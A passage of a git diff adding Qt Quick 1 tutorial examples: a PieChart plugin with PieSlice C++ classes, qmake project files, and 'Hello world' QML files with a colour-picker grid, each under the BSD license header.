+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+import QtQuick 1.0
+
+Item {
+ width: 300; height: 200
+
+ PieChart {
+ anchors.centerIn: parent
+ width: 100; height: 100
+
+ slices: [
+ PieSlice {
+ anchors.fill: parent
+ color: "red"
+ fromAngle: 0; angleSpan: 110
+ },
+ PieSlice {
+ anchors.fill: parent
+ color: "black"
+ fromAngle: 110; angleSpan: 50
+ },
+ PieSlice {
+ anchors.fill: parent
+ color: "blue"
+ fromAngle: 160; angleSpan: 100
+ }
+ ]
+ }
+}
+
diff --git a/examples/declarative/tutorials/extending/chapter6-plugins/chapter6-plugins.pro b/examples/declarative/tutorials/extending/chapter6-plugins/chapter6-plugins.pro
new file mode 100644
index 00000000..e16a1f21
--- /dev/null
+++ b/examples/declarative/tutorials/extending/chapter6-plugins/chapter6-plugins.pro
@@ -0,0 +1,21 @@
+TEMPLATE = lib
+CONFIG += qt plugin
+QT += declarative
+
+DESTDIR = lib
+OBJECTS_DIR = tmp
+MOC_DIR = tmp
+
+HEADERS += piechart.h \
+ pieslice.h \
+ chartsplugin.h
+
+SOURCES += piechart.cpp \
+ pieslice.cpp \
+ chartsplugin.cpp
+
+symbian {
+ include($$QT_SOURCE_TREE/examples/symbianpkgrules.pri)
+ TARGET.EPOCALLOWDLLDATA = 1
+}
+maemo5: include($$QT_SOURCE_TREE/examples/maemo5pkgrules.pri)
diff --git a/examples/declarative/tutorials/extending/chapter6-plugins/chartsplugin.cpp b/examples/declarative/tutorials/extending/chapter6-plugins/chartsplugin.cpp
new file mode 100644
index 00000000..d14fd350
--- /dev/null
+++ b/examples/declarative/tutorials/extending/chapter6-plugins/chartsplugin.cpp
@@ -0,0 +1,54 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+#include "chartsplugin.h"
+//![0]
+#include "piechart.h"
+#include "pieslice.h"
+#include <qdeclarative.h>
+
+void ChartsPlugin::registerTypes(const char *uri)
+{
+ qmlRegisterType<PieChart>(uri, 1, 0, "PieChart");
+ qmlRegisterType<PieSlice>(uri, 1, 0, "PieSlice");
+}
+
+Q_EXPORT_PLUGIN2(chartsplugin, ChartsPlugin);
+//![0]
+
diff --git a/examples/declarative/tutorials/extending/chapter6-plugins/chartsplugin.h b/examples/declarative/tutorials/extending/chapter6-plugins/chartsplugin.h
new file mode 100644
index 00000000..604ce20b
--- /dev/null
+++ b/examples/declarative/tutorials/extending/chapter6-plugins/chartsplugin.h
@@ -0,0 +1,55 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+#ifndef CHARTSPLUGIN_H
+#define CHARTSPLUGIN_H
+
+//![0]
+#include <QDeclarativeExtensionPlugin>
+
+class ChartsPlugin : public QDeclarativeExtensionPlugin
+{
+ Q_OBJECT
+public:
+ void registerTypes(const char *uri);
+};
+//![0]
+
+#endif
+
diff --git a/examples/declarative/tutorials/extending/chapter6-plugins/piechart.cpp b/examples/declarative/tutorials/extending/chapter6-plugins/piechart.cpp
new file mode 100644
index 00000000..bcbe1fd8
--- /dev/null
+++ b/examples/declarative/tutorials/extending/chapter6-plugins/piechart.cpp
@@ -0,0 +1,71 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+#include "piechart.h"
+#include "pieslice.h"
+
+PieChart::PieChart(QDeclarativeItem *parent)
+ : QDeclarativeItem(parent)
+{
+}
+
+QString PieChart::name() const
+{
+ return m_name;
+}
+
+void PieChart::setName(const QString &name)
+{
+ m_name = name;
+}
+
+QDeclarativeListProperty<PieSlice> PieChart::slices()
+{
+ return QDeclarativeListProperty<PieSlice>(this, 0, &PieChart::append_slice);
+}
+
+void PieChart::append_slice(QDeclarativeListProperty<PieSlice> *list, PieSlice *slice)
+{
+ PieChart *chart = qobject_cast<PieChart *>(list->object);
+ if (chart) {
+ slice->setParentItem(chart);
+ chart->m_slices.append(slice);
+ }
+}
+
diff --git a/examples/declarative/tutorials/extending/chapter6-plugins/piechart.h b/examples/declarative/tutorials/extending/chapter6-plugins/piechart.h
new file mode 100644
index 00000000..e6d1bcd8
--- /dev/null
+++ b/examples/declarative/tutorials/extending/chapter6-plugins/piechart.h
@@ -0,0 +1,69 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+#ifndef PIECHART_H
+#define PIECHART_H
+
+#include <QDeclarativeItem>
+
+class PieSlice;
+
+class PieChart : public QDeclarativeItem
+{
+ Q_OBJECT
+ Q_PROPERTY(QDeclarativeListProperty<PieSlice> slices READ slices)
+ Q_PROPERTY(QString name READ name WRITE setName)
+
+public:
+ PieChart(QDeclarativeItem *parent = 0);
+
+ QString name() const;
+ void setName(const QString &name);
+
+ QDeclarativeListProperty<PieSlice> slices();
+
+private:
+ static void append_slice(QDeclarativeListProperty<PieSlice> *list, PieSlice *slice);
+
+ QString m_name;
+ QList<PieSlice *> m_slices;
+};
+
+#endif
+
diff --git a/examples/declarative/tutorials/extending/chapter6-plugins/pieslice.cpp b/examples/declarative/tutorials/extending/chapter6-plugins/pieslice.cpp
new file mode 100644
index 00000000..07614c7e
--- /dev/null
+++ b/examples/declarative/tutorials/extending/chapter6-plugins/pieslice.cpp
@@ -0,0 +1,88 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+#include "pieslice.h"
+
+#include <QPainter>
+
+PieSlice::PieSlice(QDeclarativeItem *parent)
+ : QDeclarativeItem(parent)
+{
+ // need to disable this flag to draw inside a QDeclarativeItem
+ setFlag(QGraphicsItem::ItemHasNoContents, false);
+}
+
+QColor PieSlice::color() const
+{
+ return m_color;
+}
+
+void PieSlice::setColor(const QColor &color)
+{
+ m_color = color;
+}
+
+int PieSlice::fromAngle() const
+{
+ return m_fromAngle;
+}
+
+void PieSlice::setFromAngle(int angle)
+{
+ m_fromAngle = angle;
+}
+
+int PieSlice::angleSpan() const
+{
+ return m_angleSpan;
+}
+
+void PieSlice::setAngleSpan(int angle)
+{
+ m_angleSpan = angle;
+}
+
+void PieSlice::paint(QPainter *painter, const QStyleOptionGraphicsItem *, QWidget *)
+{
+ QPen pen(m_color, 2);
+ painter->setPen(pen);
+ painter->setRenderHints(QPainter::Antialiasing, true);
+ painter->drawPie(boundingRect(), m_fromAngle * 16, m_angleSpan * 16);
+}
+
diff --git a/examples/declarative/tutorials/extending/chapter6-plugins/pieslice.h b/examples/declarative/tutorials/extending/chapter6-plugins/pieslice.h
new file mode 100644
index 00000000..d45df5cc
--- /dev/null
+++ b/examples/declarative/tutorials/extending/chapter6-plugins/pieslice.h
@@ -0,0 +1,74 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+#ifndef PIESLICE_H
+#define PIESLICE_H
+
+#include <QDeclarativeItem>
+#include <QColor>
+
+class PieSlice : public QDeclarativeItem
+{
+ Q_OBJECT
+ Q_PROPERTY(QColor color READ color WRITE setColor)
+ Q_PROPERTY(int fromAngle READ fromAngle WRITE setFromAngle)
+ Q_PROPERTY(int angleSpan READ angleSpan WRITE setAngleSpan)
+
+public:
+ PieSlice(QDeclarativeItem *parent = 0);
+
+ QColor color() const;
+ void setColor(const QColor &color);
+
+ int fromAngle() const;
+ void setFromAngle(int angle);
+
+ int angleSpan() const;
+ void setAngleSpan(int span);
+
+ void paint(QPainter *painter, const QStyleOptionGraphicsItem *option, QWidget *widget = 0);
+
+private:
+ QColor m_color;
+ int m_fromAngle;
+ int m_angleSpan;
+};
+
+#endif
+
diff --git a/examples/declarative/tutorials/extending/chapter6-plugins/qmldir b/examples/declarative/tutorials/extending/chapter6-plugins/qmldir
new file mode 100644
index 00000000..a83bf85d
--- /dev/null
+++ b/examples/declarative/tutorials/extending/chapter6-plugins/qmldir
@@ -0,0 +1 @@
+plugin chapter6-plugins lib
diff --git a/examples/declarative/tutorials/extending/extending.pro b/examples/declarative/tutorials/extending/extending.pro
new file mode 100644
index 00000000..967473fd
--- /dev/null
+++ b/examples/declarative/tutorials/extending/extending.pro
@@ -0,0 +1,10 @@
+TEMPLATE = subdirs
+
+SUBDIRS += \
+ chapter1-basics \
+ chapter2-methods \
+ chapter3-bindings \
+ chapter4-customPropertyTypes \
+ chapter5-listproperties \
+ chapter6-plugins
+
diff --git a/examples/declarative/tutorials/helloworld/Cell.qml b/examples/declarative/tutorials/helloworld/Cell.qml
new file mode 100644
index 00000000..b9b757d3
--- /dev/null
+++ b/examples/declarative/tutorials/helloworld/Cell.qml
@@ -0,0 +1,72 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+//![0]
+import QtQuick 1.0
+
+//![1]
+Item {
+ id: container
+//![4]
+ property alias cellColor: rectangle.color
+//![4]
+//![5]
+ signal clicked(color cellColor)
+//![5]
+
+ width: 40; height: 25
+//![1]
+
+//![2]
+ Rectangle {
+ id: rectangle
+ border.color: "white"
+ anchors.fill: parent
+ }
+//![2]
+
+//![3]
+ MouseArea {
+ anchors.fill: parent
+ onClicked: container.clicked(container.cellColor)
+ }
+//![3]
+}
+//![0]
diff --git a/examples/declarative/tutorials/helloworld/tutorial1.qml b/examples/declarative/tutorials/helloworld/tutorial1.qml
new file mode 100644
index 00000000..dc8b69ee
--- /dev/null
+++ b/examples/declarative/tutorials/helloworld/tutorial1.qml
@@ -0,0 +1,63 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+//![0]
+//![3]
+import QtQuick 1.0
+//![3]
+
+//![1]
+Rectangle {
+ id: page
+ width: 500; height: 200
+ color: "lightgray"
+//![1]
+
+//![2]
+ Text {
+ id: helloText
+ text: "Hello world!"
+ y: 30
+ anchors.horizontalCenter: page.horizontalCenter
+ font.pointSize: 24; font.bold: true
+ }
+//![2]
+}
+//![0]
diff --git a/examples/declarative/tutorials/helloworld/tutorial2.qml b/examples/declarative/tutorials/helloworld/tutorial2.qml
new file mode 100644
index 00000000..07a71194
--- /dev/null
+++ b/examples/declarative/tutorials/helloworld/tutorial2.qml
@@ -0,0 +1,72 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+//![0]
+import QtQuick 1.0
+
+Rectangle {
+ id: page
+ width: 500; height: 200
+ color: "lightgray"
+
+ Text {
+ id: helloText
+ text: "Hello world!"
+ y: 30
+ anchors.horizontalCenter: page.horizontalCenter
+ font.pointSize: 24; font.bold: true
+ }
+
+ Grid {
+ id: colorPicker
+ x: 4; anchors.bottom: page.bottom; anchors.bottomMargin: 4
+ rows: 2; columns: 3; spacing: 3
+
+//![1]
+ Cell { cellColor: "red"; onClicked: helloText.color = cellColor }
+//![1]
+ Cell { cellColor: "green"; onClicked: helloText.color = cellColor }
+ Cell { cellColor: "blue"; onClicked: helloText.color = cellColor }
+ Cell { cellColor: "yellow"; onClicked: helloText.color = cellColor }
+ Cell { cellColor: "steelblue"; onClicked: helloText.color = cellColor }
+ Cell { cellColor: "black"; onClicked: helloText.color = cellColor }
+ }
+}
+//![0]
diff --git a/examples/declarative/tutorials/helloworld/tutorial3.qml b/examples/declarative/tutorials/helloworld/tutorial3.qml
new file mode 100644
index 00000000..03d7da48
--- /dev/null
+++ b/examples/declarative/tutorials/helloworld/tutorial3.qml
@@ -0,0 +1,91 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
